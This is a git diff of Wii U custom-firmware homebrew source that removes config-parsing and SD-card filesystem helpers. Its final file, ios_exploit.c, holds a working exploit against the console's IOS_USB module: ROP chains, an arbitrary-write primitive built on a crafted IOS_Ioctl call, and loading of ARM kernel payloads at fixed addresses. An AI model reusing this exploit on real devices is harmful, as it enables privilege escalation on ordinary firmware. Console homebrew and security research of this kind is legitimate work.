char *writePtr = left;
|
|
||||||
|
|
||||||
while(*string != '\0' && *string != '\n' && *string != '\r' && *string != splitChar && (cnt+1) < size)
|
|
||||||
{
|
|
||||||
*writePtr++ = *string++;
|
|
||||||
cnt++;
|
|
||||||
}
|
|
||||||
|
|
||||||
*writePtr = 0;
|
|
||||||
*right = 0;
|
|
||||||
|
|
||||||
writePtr--;
|
|
||||||
|
|
||||||
// remove trailing spaces
|
|
||||||
while(writePtr > left && *writePtr == ' ')
|
|
||||||
*writePtr-- = 0;
|
|
||||||
|
|
||||||
if(*string == splitChar)
|
|
||||||
{
|
|
||||||
string++;
|
|
||||||
writePtr = right;
|
|
||||||
|
|
||||||
// skip spaces after split character
|
|
||||||
while(*string == ' ')
|
|
||||||
string++;
|
|
||||||
|
|
||||||
cnt = 0;
|
|
||||||
while(*string != '\0' && *string != '\n' && *string != '\r' && (cnt+1) < size)
|
|
||||||
{
|
|
||||||
*writePtr++ = *string++;
|
|
||||||
}
|
|
||||||
*writePtr = 0;
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void default_config(cfw_config_t * config)
|
|
||||||
{
|
|
||||||
memset(config, 0, sizeof(cfw_config_t));
|
|
||||||
config->viewMode = 0;
|
|
||||||
config->directLaunch = 0;
|
|
||||||
config->launchImage = 1;
|
|
||||||
config->noIosReload = 0;
|
|
||||||
config->launchSysMenu = 1;
|
|
||||||
config->redNAND = 0;
|
|
||||||
config->seeprom_red = 0;
|
|
||||||
config->otp_red = 0;
|
|
||||||
config->syshaxXml = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int read_config(cfw_config_t * config)
|
|
||||||
{
|
|
||||||
FILE *pFile = fopen(CONFIG_PATH, "rb");
|
|
||||||
if(!pFile)
|
|
||||||
return -1;
|
|
||||||
|
|
||||||
char option[64];
|
|
||||||
char value[64];
|
|
||||||
char line[0x100];
|
|
||||||
|
|
||||||
while(fgets(line, sizeof(line), pFile) != 0)
|
|
||||||
{
|
|
||||||
if(line[0] == '#' || line[0] == '[')
|
|
||||||
continue;
|
|
||||||
|
|
||||||
if(split_string(line, '=', option, value, sizeof(option)) == 1)
|
|
||||||
{
|
|
||||||
if(strcmp(option, "directLaunch") == 0)
|
|
||||||
config->directLaunch = atoi(value);
|
|
||||||
else if(strcmp(option, "launchImage") == 0)
|
|
||||||
config->launchImage = atoi(value);
|
|
||||||
else if(strcmp(option, "redNAND") == 0)
|
|
||||||
config->redNAND = atoi(value);
|
|
||||||
else if(strcmp(option, "seeprom_red") == 0)
|
|
||||||
config->seeprom_red = atoi(value);
|
|
||||||
else if(strcmp(option, "otp_red") == 0)
|
|
||||||
config->otp_red = atoi(value);
|
|
||||||
else if(strcmp(option, "syshaxXml") == 0)
|
|
||||||
config->syshaxXml = atoi(value);
|
|
||||||
else if(strcmp(option, "viewMode") == 0)
|
|
||||||
config->viewMode = atoi(value);
|
|
||||||
else if(strcmp(option, "noIosReload") == 0)
|
|
||||||
config->noIosReload = atoi(value);
|
|
||||||
else if(strcmp(option, "launchSysMenu") == 0)
|
|
||||||
config->launchSysMenu = atoi(value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fclose(pFile);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int write_config(cfw_config_t * config)
|
|
||||||
{
|
|
||||||
CreateSubfolder(APP_PATH);
|
|
||||||
|
|
||||||
FILE *pFile = fopen(CONFIG_PATH, "wb");
|
|
||||||
if(!pFile)
|
|
||||||
return -1;
|
|
||||||
|
|
||||||
fprintf(pFile, "[MOCHA]\n");
|
|
||||||
fprintf(pFile, "viewMode=%i\n", config->viewMode);
|
|
||||||
fprintf(pFile, "directLaunch=%i\n", config->directLaunch);
|
|
||||||
fprintf(pFile, "launchImage=%i\n", config->launchImage);
|
|
||||||
fprintf(pFile, "noIosReload=%i\n", config->noIosReload);
|
|
||||||
fprintf(pFile, "launchSysMenu=%i\n", config->launchSysMenu);
|
|
||||||
fprintf(pFile, "redNAND=%i\n", config->redNAND);
|
|
||||||
fprintf(pFile, "seeprom_red=%i\n", config->seeprom_red);
|
|
||||||
fprintf(pFile, "otp_red=%i\n", config->otp_red);
|
|
||||||
fprintf(pFile, "syshaxXml=%i\n", config->syshaxXml);
|
|
||||||
fclose(pFile);
|
|
||||||
return 0;
|
|
||||||
}
|
|
@ -1,37 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef CFW_CONFIG_H_
|
|
||||||
#define CFW_CONFIG_H_
|
|
||||||
|
|
||||||
#define APP_VERSION "v0.2"
|
|
||||||
#define APP_PATH "sd:/wiiu/apps/mocha"
|
|
||||||
#define CONFIG_PATH (APP_PATH "/config.ini")
|
|
||||||
|
|
||||||
#include "../common/config_types.h"
|
|
||||||
|
|
||||||
void default_config(cfw_config_t * config);
|
|
||||||
int read_config(cfw_config_t * config);
|
|
||||||
int write_config(cfw_config_t * config);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,36 +0,0 @@
|
|||||||
#ifndef COMMON_H
|
|
||||||
#define COMMON_H
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include "os_defs.h"
|
|
||||||
|
|
||||||
#define CAFE_OS_SD_PATH "/vol/external01"
|
|
||||||
#define SD_PATH "sd:"
|
|
||||||
#define WIIU_PATH "/wiiu"
|
|
||||||
|
|
||||||
#ifndef MEM_BASE
|
|
||||||
#define MEM_BASE (0x00800000)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
|
|
||||||
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
|
|
||||||
#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
|
|
||||||
#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04))
|
|
||||||
|
|
||||||
#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500))
|
|
||||||
|
|
||||||
#ifndef EXIT_SUCCESS
|
|
||||||
#define EXIT_SUCCESS 0
|
|
||||||
#endif
|
|
||||||
#define EXIT_HBL_EXIT 0xFFFFFFFE
|
|
||||||
#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* COMMON_H */
|
|
||||||
|
|
@ -1,62 +0,0 @@
|
|||||||
#ifndef FS_DEFS_H
|
|
||||||
#define FS_DEFS_H
|
|
||||||
|
|
||||||
#include "types.h"
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
|
||||||
/* FS defines and types */
|
|
||||||
#define FS_MAX_LOCALPATH_SIZE 511
|
|
||||||
#define FS_MAX_MOUNTPATH_SIZE 128
|
|
||||||
#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE)
|
|
||||||
#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE
|
|
||||||
|
|
||||||
#define FS_STATUS_OK 0
|
|
||||||
#define FS_RET_UNSUPPORTED_CMD 0x0400
|
|
||||||
#define FS_RET_NO_ERROR 0x0000
|
|
||||||
#define FS_RET_ALL_ERROR (unsigned int)(-1)
|
|
||||||
|
|
||||||
#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000
|
|
||||||
|
|
||||||
/* max length of file/dir name */
|
|
||||||
#define FS_MAX_ENTNAME_SIZE 256
|
|
||||||
|
|
||||||
#define FS_SOURCETYPE_EXTERNAL 0
|
|
||||||
#define FS_SOURCETYPE_HFIO 1
|
|
||||||
#define FS_SOURCETYPE_HFIO 1
|
|
||||||
|
|
||||||
#define FS_MOUNT_SOURCE_SIZE 0x300
|
|
||||||
#define FS_CLIENT_SIZE 0x1700
|
|
||||||
#define FS_CMD_BLOCK_SIZE 0xA80
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
uint32_t flag;
|
|
||||||
uint32_t permission;
|
|
||||||
uint32_t owner_id;
|
|
||||||
uint32_t group_id;
|
|
||||||
uint32_t size;
|
|
||||||
uint32_t alloc_size;
|
|
||||||
uint64_t quota_size;
|
|
||||||
uint32_t ent_id;
|
|
||||||
uint64_t ctime;
|
|
||||||
uint64_t mtime;
|
|
||||||
uint8_t attributes[48];
|
|
||||||
} __attribute__((packed)) FSStat;
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
FSStat stat;
|
|
||||||
char name[FS_MAX_ENTNAME_SIZE];
|
|
||||||
} FSDirEntry;
|
|
||||||
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* FS_DEFS_H */
|
|
||||||
|
|
@ -1,25 +0,0 @@
|
|||||||
#ifndef __OS_DEFS_H_
|
|
||||||
#define __OS_DEFS_H_
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
typedef struct _OsSpecifics
|
|
||||||
{
|
|
||||||
unsigned int addr_OSDynLoad_Acquire;
|
|
||||||
unsigned int addr_OSDynLoad_FindExport;
|
|
||||||
unsigned int addr_OSTitle_main_entry;
|
|
||||||
|
|
||||||
unsigned int addr_KernSyscallTbl1;
|
|
||||||
unsigned int addr_KernSyscallTbl2;
|
|
||||||
unsigned int addr_KernSyscallTbl3;
|
|
||||||
unsigned int addr_KernSyscallTbl4;
|
|
||||||
unsigned int addr_KernSyscallTbl5;
|
|
||||||
} OsSpecifics;
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif // __OS_DEFS_H_
|
|
@ -1,7 +0,0 @@
|
|||||||
#ifndef TYPES_H
|
|
||||||
#define TYPES_H
|
|
||||||
|
|
||||||
#include "dynamic_libs/os_types.h"
|
|
||||||
|
|
||||||
#endif /* TYPES_H */
|
|
||||||
|
|
14
src/entry.c
14
src/entry.c
@ -1,14 +0,0 @@
|
|||||||
#include <string.h>
|
|
||||||
#include "dynamic_libs/os_functions.h"
|
|
||||||
#include "dynamic_libs/sys_functions.h"
|
|
||||||
#include "common/common.h"
|
|
||||||
#include "utils/utils.h"
|
|
||||||
#include "main.h"
|
|
||||||
|
|
||||||
int __entry_menu(int argc, char **argv)
|
|
||||||
{
|
|
||||||
//! *******************************************************************
|
|
||||||
//! * Jump to our application *
|
|
||||||
//! *******************************************************************
|
|
||||||
return Menu_Main();
|
|
||||||
}
|
|
@ -1,184 +0,0 @@
|
|||||||
#include <malloc.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include "common/fs_defs.h"
|
|
||||||
#include "dynamic_libs/fs_functions.h"
|
|
||||||
|
|
||||||
|
|
||||||
int MountFS(void *pClient, void *pCmd, char **mount_path)
|
|
||||||
{
|
|
||||||
int result = -1;
|
|
||||||
|
|
||||||
void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE);
|
|
||||||
if(!mountSrc)
|
|
||||||
return -3;
|
|
||||||
|
|
||||||
char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE);
|
|
||||||
if(!mountPath) {
|
|
||||||
free(mountSrc);
|
|
||||||
return -4;
|
|
||||||
}
|
|
||||||
|
|
||||||
memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE);
|
|
||||||
memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE);
|
|
||||||
|
|
||||||
// Mount sdcard
|
|
||||||
if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0)
|
|
||||||
{
|
|
||||||
result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
|
|
||||||
if((result == 0) && mount_path) {
|
|
||||||
*mount_path = (char*)malloc(strlen(mountPath) + 1);
|
|
||||||
if(*mount_path)
|
|
||||||
strcpy(*mount_path, mountPath);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
free(mountPath);
|
|
||||||
free(mountSrc);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
int UmountFS(void *pClient, void *pCmd, const char *mountPath)
|
|
||||||
{
|
|
||||||
int result = -1;
|
|
||||||
result = FSUnmount(pClient, pCmd, mountPath, -1);
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size)
|
|
||||||
{
|
|
||||||
//! always initialze input
|
|
||||||
*inbuffer = NULL;
|
|
||||||
if(size)
|
|
||||||
*size = 0;
|
|
||||||
|
|
||||||
int iFd = open(filepath, O_RDONLY);
|
|
||||||
if (iFd < 0)
|
|
||||||
return -1;
|
|
||||||
|
|
||||||
u32 filesize = lseek(iFd, 0, SEEK_END);
|
|
||||||
lseek(iFd, 0, SEEK_SET);
|
|
||||||
|
|
||||||
u8 *buffer = (u8 *) malloc(filesize);
|
|
||||||
if (buffer == NULL)
|
|
||||||
{
|
|
||||||
close(iFd);
|
|
||||||
return -2;
|
|
||||||
}
|
|
||||||
|
|
||||||
u32 blocksize = 0x4000;
|
|
||||||
u32 done = 0;
|
|
||||||
int readBytes = 0;
|
|
||||||
|
|
||||||
while(done < filesize)
|
|
||||||
{
|
|
||||||
if(done + blocksize > filesize) {
|
|
||||||
blocksize = filesize - done;
|
|
||||||
}
|
|
||||||
readBytes = read(iFd, buffer + done, blocksize);
|
|
||||||
if(readBytes <= 0)
|
|
||||||
break;
|
|
||||||
done += readBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
close(iFd);
|
|
||||||
|
|
||||||
if (done != filesize)
|
|
||||||
{
|
|
||||||
free(buffer);
|
|
||||||
return -3;
|
|
||||||
}
|
|
||||||
|
|
||||||
*inbuffer = buffer;
|
|
||||||
|
|
||||||
//! sign is optional input
|
|
||||||
if(size)
|
|
||||||
{
|
|
||||||
*size = filesize;
|
|
||||||
}
|
|
||||||
|
|
||||||
return filesize;
|
|
||||||
}
|
|
||||||
|
|
||||||
int CheckFile(const char * filepath)
|
|
||||||
{
|
|
||||||
if(!filepath)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
struct stat filestat;
|
|
||||||
|
|
||||||
char dirnoslash[strlen(filepath)+2];
|
|
||||||
snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath);
|
|
||||||
|
|
||||||
while(dirnoslash[strlen(dirnoslash)-1] == '/')
|
|
||||||
dirnoslash[strlen(dirnoslash)-1] = '\0';
|
|
||||||
|
|
||||||
char * notRoot = strrchr(dirnoslash, '/');
|
|
||||||
if(!notRoot)
|
|
||||||
{
|
|
||||||
strcat(dirnoslash, "/");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (stat(dirnoslash, &filestat) == 0)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int CreateSubfolder(const char * fullpath)
|
|
||||||
{
|
|
||||||
if(!fullpath)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
int result = 0;
|
|
||||||
|
|
||||||
char dirnoslash[strlen(fullpath)+1];
|
|
||||||
strcpy(dirnoslash, fullpath);
|
|
||||||
|
|
||||||
int pos = strlen(dirnoslash)-1;
|
|
||||||
while(dirnoslash[pos] == '/')
|
|
||||||
{
|
|
||||||
dirnoslash[pos] = '\0';
|
|
||||||
pos--;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(CheckFile(dirnoslash))
|
|
||||||
{
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
char parentpath[strlen(dirnoslash)+2];
|
|
||||||
strcpy(parentpath, dirnoslash);
|
|
||||||
char * ptr = strrchr(parentpath, '/');
|
|
||||||
|
|
||||||
if(!ptr)
|
|
||||||
{
|
|
||||||
//!Device root directory (must be with '/')
|
|
||||||
strcat(parentpath, "/");
|
|
||||||
struct stat filestat;
|
|
||||||
if (stat(parentpath, &filestat) == 0)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
ptr++;
|
|
||||||
ptr[0] = '\0';
|
|
||||||
|
|
||||||
result = CreateSubfolder(parentpath);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!result)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
if (mkdir(dirnoslash, 0777) == -1)
|
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
return 1;
|
|
||||||
}
|
|
@ -1,23 +0,0 @@
|
|||||||
#ifndef __FS_UTILS_H_
|
|
||||||
#define __FS_UTILS_H_
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include "dynamic_libs/os_types.h"
|
|
||||||
|
|
||||||
int MountFS(void *pClient, void *pCmd, char **mount_path);
|
|
||||||
int UmountFS(void *pClient, void *pCmd, const char *mountPath);
|
|
||||||
|
|
||||||
int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size);
|
|
||||||
|
|
||||||
//! todo: C++ class
|
|
||||||
int CreateSubfolder(const char * fullpath);
|
|
||||||
int CheckFile(const char * filepath);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif // __FS_UTILS_H_
|
|
File diff suppressed because it is too large
Load Diff
@ -1,38 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2015
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef __SD_FAT_DEVOPTAB_H_
|
|
||||||
#define __SD_FAT_DEVOPTAB_H_
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
int mount_sd_fat(const char *path);
|
|
||||||
int unmount_sd_fat(const char *path);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif // __SD_FAT_DEVOPTAB_H_
|
|
@ -1,7 +1,7 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include "dynamic_libs/os_functions.h"
|
|
||||||
#include "ios_exploit.h"
|
#include "ios_exploit.h"
|
||||||
|
#include "main.h"
|
||||||
|
|
||||||
#define ALIGN4(x) (((x) + 3) & ~3)
|
#define ALIGN4(x) (((x) + 3) & ~3)
|
||||||
|
|
||||||
@ -13,10 +13,10 @@
|
|||||||
#define ARM_CODE_BASE 0x08135000
|
#define ARM_CODE_BASE 0x08135000
|
||||||
#define REPLACE_SYSCALL 0x081298BC
|
#define REPLACE_SYSCALL 0x081298BC
|
||||||
|
|
||||||
extern const u8 launch_image_tga[];
|
extern const uint8_t launch_image_tga[];
|
||||||
extern const u32 launch_image_tga_size;
|
extern const uint32_t launch_image_tga_size;
|
||||||
|
|
||||||
static void uhs_exploit_init(int uhs_handle, cfw_config_t * config);
|
static void uhs_exploit_init(int uhs_handle);
|
||||||
static int uhs_write32(int uhs_handle, int arm_addr, int val);
|
static int uhs_write32(int uhs_handle, int arm_addr, int val);
|
||||||
|
|
||||||
//!------Variables used in exploit------
|
//!------Variables used in exploit------
|
||||||
@ -26,17 +26,14 @@ static int *ayylmao = (int*)0xF4500000;
|
|||||||
|
|
||||||
typedef struct
|
typedef struct
|
||||||
{
|
{
|
||||||
u32 size;
|
uint32_t size;
|
||||||
u8 data[0];
|
uint8_t data[0];
|
||||||
} payload_info_t;
|
} payload_info_t;
|
||||||
|
|
||||||
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
||||||
#include "../ios_kernel/ios_kernel.bin.h"
|
#include "../ios_kernel/ios_kernel.bin.h"
|
||||||
#include "../ios_usb/ios_usb.bin.h"
|
#include "../ios_usb/ios_usb.bin.h"
|
||||||
#include "../ios_fs/ios_fs.bin.h"
|
|
||||||
#include "../ios_bsp/ios_bsp.bin.h"
|
|
||||||
#include "../ios_mcp/ios_mcp.bin.h"
|
#include "../ios_mcp/ios_mcp.bin.h"
|
||||||
#include "../ios_acp/ios_acp.bin.h"
|
|
||||||
|
|
||||||
|
|
||||||
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
||||||
@ -306,8 +303,16 @@ static const int second_chain[] = {
|
|||||||
0x1012EA68, // 0xAC stack pivot
|
0x1012EA68, // 0xAC stack pivot
|
||||||
};
|
};
|
||||||
|
|
||||||
static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config)
|
static void uhs_exploit_init(int dev_uhs_0_handle){
|
||||||
{
|
|
||||||
|
unsigned int coreinit_handle;
|
||||||
|
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||||
|
|
||||||
|
void (* DCStoreRange)(const void *addr, uint32_t length);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||||
|
|
||||||
|
|
||||||
ayylmao[5] = 1;
|
ayylmao[5] = 1;
|
||||||
ayylmao[8] = 0x500000;
|
ayylmao[8] = 0x500000;
|
||||||
|
|
||||||
@ -317,49 +322,14 @@ static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config)
|
|||||||
|
|
||||||
payload_info_t *payloads = (payload_info_t*)0xF4148000;
|
payload_info_t *payloads = (payload_info_t*)0xF4148000;
|
||||||
|
|
||||||
payloads->size = sizeof(cfw_config_t);
|
|
||||||
memcpy(payloads->data, config, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
|
|
||||||
payloads->size = sizeof(ios_usb_bin);
|
payloads->size = sizeof(ios_usb_bin);
|
||||||
memcpy(payloads->data, ios_usb_bin, payloads->size);
|
memcpy(payloads->data, ios_usb_bin, payloads->size);
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||||
|
|
||||||
payloads->size = sizeof(ios_fs_bin);
|
|
||||||
memcpy(payloads->data, ios_fs_bin, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
|
|
||||||
payloads->size = sizeof(ios_bsp_bin);
|
|
||||||
memcpy(payloads->data, ios_bsp_bin, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
|
|
||||||
payloads->size = sizeof(ios_acp_bin);
|
|
||||||
memcpy(payloads->data, ios_acp_bin, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
|
|
||||||
payloads->size = sizeof(ios_mcp_bin);
|
payloads->size = sizeof(ios_mcp_bin);
|
||||||
memcpy(payloads->data, ios_mcp_bin, payloads->size);
|
memcpy(payloads->data, ios_mcp_bin, payloads->size);
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
||||||
|
|
||||||
if(config->launchImage)
|
|
||||||
{
|
|
||||||
FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb");
|
|
||||||
if(pFile)
|
|
||||||
{
|
|
||||||
fseek(pFile, 0, SEEK_END);
|
|
||||||
payloads->size = ftell(pFile);
|
|
||||||
fseek(pFile, 0, SEEK_SET);
|
|
||||||
fread(payloads->data, 1, payloads->size, pFile);
|
|
||||||
fclose(pFile);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
payloads->size = launch_image_tga_size;
|
|
||||||
memcpy(payloads->data, launch_image_tga, payloads->size);
|
|
||||||
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
pretend_root_hub[33] = 0x500000;
|
pretend_root_hub[33] = 0x500000;
|
||||||
pretend_root_hub[78] = 0;
|
pretend_root_hub[78] = 0;
|
||||||
|
|
||||||
@ -367,21 +337,44 @@ static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config)
|
|||||||
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
|
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
|
||||||
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
|
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
|
||||||
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
|
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
|
||||||
DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000);
|
DCStoreRange((void*)0xF4148000, ((uint32_t)payloads) - 0xF4148000);
|
||||||
}
|
}
|
||||||
|
|
||||||
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val)
|
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val){
|
||||||
{
|
unsigned int coreinit_handle;
|
||||||
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||||
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
|
|
||||||
OSSleepTicks(0x200000); //! Improves stability
|
void (* DCStoreRange)(const void *addr, uint32_t length);
|
||||||
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
|
int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len);
|
||||||
int output_buffer[32];
|
void (* OSSleepTicks)(uint64_t length);
|
||||||
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
|
||||||
|
|
||||||
|
|
||||||
|
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
||||||
|
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
|
||||||
|
OSSleepTicks(0x200000); //! Improves stability
|
||||||
|
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
|
||||||
|
int output_buffer[32];
|
||||||
|
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
||||||
}
|
}
|
||||||
|
|
||||||
